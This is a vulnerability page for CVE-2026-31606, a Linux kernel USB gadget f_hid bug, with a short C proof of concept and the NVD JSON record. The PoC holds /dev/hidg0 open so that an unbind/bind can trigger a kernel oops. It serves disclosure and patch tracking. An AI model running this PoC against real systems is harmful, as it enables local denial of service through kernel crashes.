CVE-2026-31606

// PoC for CVE-2026-31606 // Compile: gcc poc.c -o poc // This PoC keeps /dev/hidg0 open to trigger the race condition // when an administrator performs unbind/bind operations. #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { const char *device = "/dev/hidg0"; int fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device %s opened successfully (fd=%d).\n", device, fd); printf("[+] Holding file descriptor open...\n"); printf("[!] Now trigger unbind/bind (e.g., via configfs or USB gadget reload).\n"); printf("[!] Kernel crash/Oops may occur due to cdev re-initialization.\n"); // Keep the device open indefinitely while (1) { sleep(1); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31606", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:39.830", "lastModified": "2026-04-29T20:00:34.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_hid: don't call cdev_init while cdev in use\n\nWhen calling unbind, then bind again, cdev_init reinitialized the cdev,\neven though there may still be references to it. That's the case when\nthe /dev/hidg* device is still opened. This obviously unsafe behavior\nlike oopes.\n\nThis fixes this by using cdev_alloc to put the cdev on the heap. That\nway, we can simply allocate a new one in hidg_bind."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19", "versionEndExcluding": "6.12.83", "matchCriteriaId": "3CD4A015-C9CA-48DA-A0F8-0A35B8A34560"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5a229016ca3ac551294ec59770be9da94ec4bf63", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75ecc46828ec377dd5692c677168ef6d64fd7123", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/81ebd43cc0d6d106ce7b6ccbf7b5e40ca7f5503d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c6c0d13db5d0f8d465eabc14bd23d2b6a7247a43", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eb6ef6185f2054a341ec70d7e2165f5381744215", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}